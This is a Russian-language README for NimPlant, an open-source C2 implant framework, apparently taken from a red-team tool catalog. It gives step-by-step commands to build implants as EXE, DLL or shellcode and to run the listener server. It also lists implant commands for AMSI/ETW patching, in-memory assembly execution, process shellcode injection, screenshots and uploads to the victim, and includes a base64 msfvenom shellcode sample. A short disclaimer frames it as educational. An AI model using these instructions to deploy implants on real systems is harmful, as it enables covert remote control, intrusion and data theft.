Лёгкий first-stage C2-имплант, написанный на Nim и Rust, с Python-сервером и веб-интерфейсом для ранних этапов red team операций.
Современный open source C2-фреймворк от BishopFox. Альтернатива Cobalt Strike и Metasploit для red team операций. Поддерживает …
Proxy-aware C2 фреймворк для авторизованного red team: постэксплуатация и латеральное перемещение. Модульная архитектура на PowerShell/C#/Python с …
Command and control фреймворк на Go для авторизованных red team операций и работы после получения доступа …
Кроссплатформенный C# .NET command and control фреймворк с поддержкой совместной работы нескольких операторов для red team …
# Clone the repository
git clone https://github.com/chvancooten/NimPlant.git
cd NimPlant
# Install Python dependencies for the server
pip install -r server/requirements.txt
# Install Nim (required for compiling implants)
# On Linux/macOS:
curl https://nim-lang.org/choosenim/init.sh -sSf | sh
# On Windows, download and run the Nim installer from nim-lang.org
# Install Nim dependencies
nimble install -y winim nimcrypto zippy
# Edit configuration before compiling
nano config.toml
# Compile the implant (Windows EXE)
python3 NimPlant.py compile -o exe
# Compile as DLL
python3 NimPlant.py compile -o dll
# Compile as shellcode (via sRDI)
python3 NimPlant.py compile -o shellcode
# Cross-compile for Windows from Linux
python3 NimPlant.py compile -o exe --crosscompile
# Docker server setup
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
# Building the frontend (if modifications are needed)
cd ui
npm install
python3 build-ui.py
От Каса ван Кутена (@chvancooten), с особой благодарностью замечательным людям:
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl), Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher) и многим другим!
Если NimPlant оказался полезен для вас и/или вам нравится моя работа в целом, ваша поддержка будет очень кстати:
inline-execute, shinject (с использованием динамического вызова), powershell в пользовательском ранспейсе или execute-assembly в потокеДля запуска NimPlant требуется современная версия Python 3.
requirements.txt в папке сервера (pip3 install -r server/requirements.txt).choosenim, так как apt не всегда содержит последнюю версию).cd client; nimble install -d).mingw для вашей платформы (brew install mingw-w64 или apt install mingw-w64).rustup).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml в соответствии с Cargo.toml и используйте ночную сборку (rustup default nightly).Примечание: Даже если вы компилируете на Windows, рекомендуется целевая платформа
x86_64-pc-windows-gnu. Это приводит к немного более крупным бинарникам, но, похоже, работает стабильнее, когда шеллкод генерируется из полученной DLL. Вы можете изменитьrust-toolchain.toml, чтобы сменить цель наx86_64-pc-windows-msvc, но сгенерированный шеллкод может работать некорректно в некоторых случаях.
Перед использованием NimPlant создайте файл конфигурации config.toml. Рекомендуется скопировать config.toml.example и работать с ним.
Ниже представлен обзор настроек.
| Категория | Параметр | Описание |
|---|---|---|
| server | ip | IP-адрес, на котором будет слушать C2-веб-сервер (включая API). Рекомендуется использовать 127.0.0.1, используйте 0.0.0.0 только если вы настроили правильные правила брандмауэра или маршрутизации для защиты C2. |
| server | port | Порт, на котором будет слушать C2-веб-сервер (включая API). |
| listener | type | Тип слушателя: HTTP или HTTPS. Настройки HTTPS настраиваются ниже. |
| listener | sslCertPath | Локальный путь к файлу сертификата HTTPS (например, полученному через CertBot LetsEncrypt или самоподписанному). Игнорируется, если тип слушателя — 'HTTP'. |
| listener | sslKeyPath | Локальный путь к файлу закрытого ключа сертификата HTTPS. При запуске сервера NimPlant будет запрошен пароль, если он установлен. Игнорируется, если тип слушателя — 'HTTP'. |
| listener | hostname | Имя хоста слушателя. Если не пустое (""), NimPlant будет использовать это имя хоста для подключения. Убедитесь, что трафик с этого хоста правильно маршрутизируется на порт слушателя NimPlant. |
| listener | ip | IP-адрес слушателя. Обязателен даже если установлен 'hostname', так как используется сервером для регистрации на этом IP. |
| listener | port | Порт слушателя. Обязателен даже если установлен 'hostname', так как используется сервером для регистрации на этом порту. |
| listener | registerPath | URI-путь, по которому новые NimPlant будут регистрироваться. |
| listener | taskPath | URI-путь, по которому NimPlant будут получать задачи. |
| listener | resultPath | URI-путь, по которому NimPlant будут отправлять результаты. |
| nimplant | riskyMode | Компилировать NimPlant с поддержкой рискованных команд. Рекомендуется осторожность оператора. Отключение удалит поддержку execute-assembly, powershell, shell и shinject. |
| nimplant | sleepMask | Использовать ли маску сна Ekko вместо обычных вызовов сна для NimPlant. Пока работает только с обычными исполняемыми файлами! |
| nimplant | sleepTime | Время сна по умолчанию в секундах для новых NimPlant. |
| nimplant | sleepJitter | Джиттер по умолчанию в процентах для новых NimPlant. |
| nimplant | killDate | Дата самоуничтожения для NimPlant (формат: yyyy-MM-dd). NimPlant завершит работу, если эта дата наступила. |
| nimplant | userAgent | User-Agent, используемый NimPlant. Сервер также использует его для проверки трафика NimPlant, поэтому рекомендуется выбрать UA, который не привлекает внимания, но не слишком распространённый. |
| ### Компиляция |
Когда конфигурация вас устраивает, вы можете сгенерировать бинарные файлы NimPlant для развёртывания на целевой системе. В настоящее время NimPlant поддерживает бинарные файлы .exe, .dll и .bin для (самоудаляющихся) исполняемых файлов, библиотек и позиционно-независимого шеллкода (через sRDI) соответственно. Чтобы сгенерировать, выполните python nimplant.py compile, затем укажите нужные типы бинарных файлов (exe, exe-selfdelete, dll, raw или all) и, при необходимости, тип импланта (nim, rust, nim-debug или rust-debug — по умолчанию будет компилироваться Nim). Файлы будут записаны в client/bin/ или client-rs/bin/ соответственно.
Вы можете передать аргумент rotatekey, чтобы сгенерировать и использовать новый ключ XOR во время компиляции.
Примечания:
- NimPlant поддерживает только x64 на данный момент!
- Точка входа для DLL-файлов — Update, которая запускается через DllMain для всех точек входа. Это означает, что вы можете использовать, например, rundll32 .\NimPlant.dll,Update для запуска или использовать свой LOLBIN для загрузки через side-loading (возможно, потребуется внести изменения в client/NimPlant.nim или client-rs/src/lib.rs)
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
Использование Docker просто и позволяет избежать проблем с зависимостями, так как все необходимые зависимости для сборки и выполнения предварительно установлены в контейнере.
Чтобы использовать Docker, вы можете воспользоваться публичным контейнером chvancooten/nimplant из Docker Hub (собранным через CI/CD) или собрать Dockerfile из исходников.
Чтобы собрать из исходников, выполните следующую команду из основной директории:
bash docker build . -t nimplant
Это создаст контейнер с тегом nimplant:latest. Примечание: это может занять некоторое время и создать контейнер значительного размера из-за зависимостей для разработки!
Когда это будет готово, вы можете запустить контейнер из командной строки, чтобы скомпилировать свои артефакты.
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Примечание: Это пример команды, убедитесь, что вы адаптировали аргументы, такие как подключённые тома, под свою ситуацию.
Когда ваши бинарные файлы готовы, вы можете запустить сервер NimPlant! Если вы компилировали локально, дополнительная настройка не требуется, так как он считывает данные из того же файла config.toml. Чтобы запустить сервер, просто выполните python nimplant.py server (с правами sudo, если работаете под Linux). Вы можете использовать консоль, как только NimPlant подключится, или получить доступ к веб-интерфейсу по адресу http://localhost:31337 (по умолчанию).
Примечания:
- Если вы запускаете сервер NimPlant на другой машине, где компилировались бинарные файлы, убедитесь, что файлы config.toml и .xorkey совпадают. В противном случае NimPlant не сможет подключиться.
- Веб-интерфейс или API не поддерживают аутентификацию, поэтому НИ В КОЕМ СЛУЧАЕ не открывайте порт интерфейса для ненадёжных сетей без защищённого обратного прокси!
- Если NimPlant не может подключиться к серверу или теряет соединение, он попробует подключиться повторно 5 раз с экспоненциальной задержкой перед повторной регистрацией. Если он не сможет зарегистрироваться ещё 5 раз (с той же логикой задержки), он завершит свою работу. Задержка утроится при каждом неудачном подключении. Например, если время ожидания составляет 10 секунд, он будет ждать 10, затем 30 (3^1 * 10), затем 90 (3^2 * 10), затем 270 (3^3 * 10), затем 810 секунд перед отказом (эти параметры заданы жёстко, но их можно изменить в client/NimPlant.nim).
- Журналы хранятся в каталоге server/logs. Каждый экземпляр сервера создаёт новую папку для логов, а сами логи разделены по сессиям консоли/NimPlant. Загруженные и скачанные файлы (включая файлы, загруженные через веб-интерфейс) хранятся в каталогах server/uploads и server/downloads соответственно.
- Данные о NimPlant и сервере хранятся в базе данных SQLite по адресу server/nimplant.db. Эти данные также используются для восстановления подключения NimPlant после перезапуска сервера.
- Журналы, загруженные/скачанные файлы и база данных могут быть очищены с помощью запуска nimplant.py с флагом cleanup. Внимание: это удалит всё, поэтому убедитесь, что вы сохранили нужные данные заранее!
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__,_|_| |_|\__|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Это запустит как API C2, так и сервер управления веб-интерфейсом (в примере выше по адресу http://127.0.0.1:31337), а также слушатель NimPlant (в примере выше по адресу https://0.0.0.0:443). Как только NimPlant подключится, вы можете использовать как веб-интерфейс, так и консоль для отправки команд NimPlant.
Тот же контейнер chvancooten/nimplant, который используется для компиляции, можно использовать и для запуска сервера NimPlant. Чтобы NimPlant распознал сервер, файлы config.toml и .xorkey должны соответствовать машине, на которой компилировался NimPlant (это будет автоматически верно, если вы использовали тот же контейнер Docker для компиляции). Кроме того, файл config.toml должен быть правильно настроен для Docker, в частности IP-адрес сервера управления должен быть установлен на 0.0.0.0, чтобы к нему можно было подключиться через Docker (убедитесь, что на хосте он открыт только на локальном интерфейсе).
Вы можете запустить сервер NimPlant с помощью следующей примерной команды:
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Примечание: Это пример команды, убедитесь, что вы адаптировали аргументы, такие как подключённые тома, под свою ситуацию.
Использование Docker позволяет легко настроить более сложные конфигурации. Например, в каталоге docker-example содержится файл docker-compose.yml, который демонстрирует, как разместить NimPlant за Nginx-реддиректором с использованием HTTPS и фиктивной посадочной страницы.
Доступные команды перечислены ниже. Подробную справку по любой команде можно получить, введя help [command]. Некоторые команды, помеченные как (GUI), можно настраивать графически через веб-интерфейс — для этого достаточно вызвать команду без аргументов.
Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks.
cat [filename] Print a file's contents to the screen.
cd [directory] Change the working directory.
clear Clear the screen.
cp [source] [destination] Copy a file or directory.
curl [url] Get a webpage remotely and return the results.
download [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.
execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit Exit the server, killing all NimPlants.
getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.
getLocalAdm List local administrators on the target using WMI.
getpid Show process ID of the currently selected NimPlant.
getprocname Show process name of the currently selected NimPlant.
help <command> Show this help menu or command-specific help.
hostname Show hostname of the currently selected NimPlant.
inline-execute (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig List IP address information of the currently selected NimPlant.
kill Kill the currently selected NimPlant.
list Show list of active NimPlants.
listall Show list of all NimPlants.
ls <path> List files and folders in a certain directory. Lists current directory by default.
mkdir [directory] Create a directory (and its parent directories if required).
mv [source] [destination] Move a file or directory.
nimplant Show info about the currently selected NimPlant.
osbuild Show operating system build information for the currently selected NimPlant.
powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps List running processes on the target. Indicates current process.
pwd Get the current working directory.
reg [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm [file] Remove a file or directory.
run [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot Take a screenshot of the user's screen.
select [id] Select another NimPlant.
shell [command] Execute a shell command.
shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget [url] <remotefilepath> Download a file to disk remotely.
whoami Get the user ID that NimPlant is running as.
ВАЖНО: BOF по своей природе нестабильны, и выполнение ошибочного BOF или передача неверных аргументов/типов может привести к краху сессии NimPlant! Убедитесь, что вы протестировали BOF перед развёртыванием!
NimPlant поддерживает загрузку BOF в память благодаря отличным проектам NiCOFF (Nim) и Coffee (Rust). Для запуска BOF требуется локальный скомпилированный объектный файл BOF (обычно с именем вроде bofname.x64.o), точка входа (чаще всего go) и список аргументов с их соответствующими типами. Аргументы передаются в виде пары аргумент тип_аргумента, разделённой пробелом.
Аргументы задаются в соответствии с форматом "Zzsib", поэтому могут быть типами: string (псевдоним: z), wstring (или Z), integer (псевдонимы: int или i), short (s) или binary (bin или b). Двоичные аргументы могут быть строкой в сыром двоичном формате или закодированы в base64 — последний вариант рекомендуется, чтобы избежать нежелательных символов.
Ниже приведены примеры использования (на основе великолепных BOF от TrustedSec [1, 2]). Обратите внимание, что inline-execute (без аргументов) можно использовать для графической настройки команды в интерфейсе.
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
По умолчанию NimPlant поддерживает push-уведомления через хук notify_user(), определённый в server/util/notify.py. По умолчанию он реализует простое уведомление в Telegram, для работы которого требуется установить переменные окружения TELEGRAM_CHAT_ID и TELEGRAM_BOT_TOKEN перед вызовом. Конечно, код можно легко расширить своей собственной функциональностью push-уведомлений. Хук notify_user() вызывается при подключении нового NimPlant и получает объект с данными об импланте, которые затем можно отправить по нужному каналу.
Обычному пользователю не нужно изменять или пересобирать интерфейс, поставляемый с NimPlant. Однако, если вы хотите внести изменения, установите NodeJS и выполните npm install в каталоге ui. Затем запустите ui/build-ui.py. Это обеспечит загрузку пакетов, компиляцию фронтенда на Next.JS и размещение файлов в нужном месте для использования сервером NimPlant.
NimPlant был разработан как учебный проект и опубликован для прозрачности и образовательных целей. Уклонение от антивирусов или EDR НЕ является целью для имплантов "из коробки". В значительной степени NimPlant не пытается скрывать свои намерения. Кроме того, были добавлены меры защиты от злоупотреблений. Другими словами, НЕ используйте NimPlant в реальных операциях без тщательного ревью исходного кода и модификаций! Также помните, что, как и в случае с любым C2-фреймворком, перед развёртыванием следует учитывать OPSEC-отпечаток выполнения определённых команд. NimPlant можно скомпилировать без OPSEC-рискованных команд, установив riskyMode в false в файле config.toml.
Причин, по которым NimPlant может не скомпилироваться или не запуститься, множество. Если вы столкнулись с проблемами, попробуйте следующее (в указанном порядке):
- Убедитесь, что вы выполнили все шаги, описанные в разделе «Установка» выше, ещё раз проверьте, что все зависимости установлены и их версии совпадают
- Убедитесь, что вы выполнили все шаги, описанные в разделе «Компиляция» выше, и что вы использовали Docker-контейнер, чтобы исключить проблемы с зависимостями
- Проверьте журналы в каталоге server/logs на наличие ошибок
- Попробуйте режимы компиляции nim-debug или rust-debug, чтобы скомпилировать с выводом в консоль и отладочными сообщениями (только .exe), чтобы увидеть, возвращаются ли какие-либо сообщения об ошибках
- Попробуйте скомпилировать из другой ОС или с другим инструментарием, чтобы проверить, возникает ли та же ошибка
- Если всё вышеперечисленное не помогло, создайте issue. Обязательно укажите соответствующую информацию о сборке (ОС, версии nim/rust/python, версии зависимостей) и результаты шагов по устранению неполадок, описанных выше. Неполные issue могут быть закрыты без предупреждения.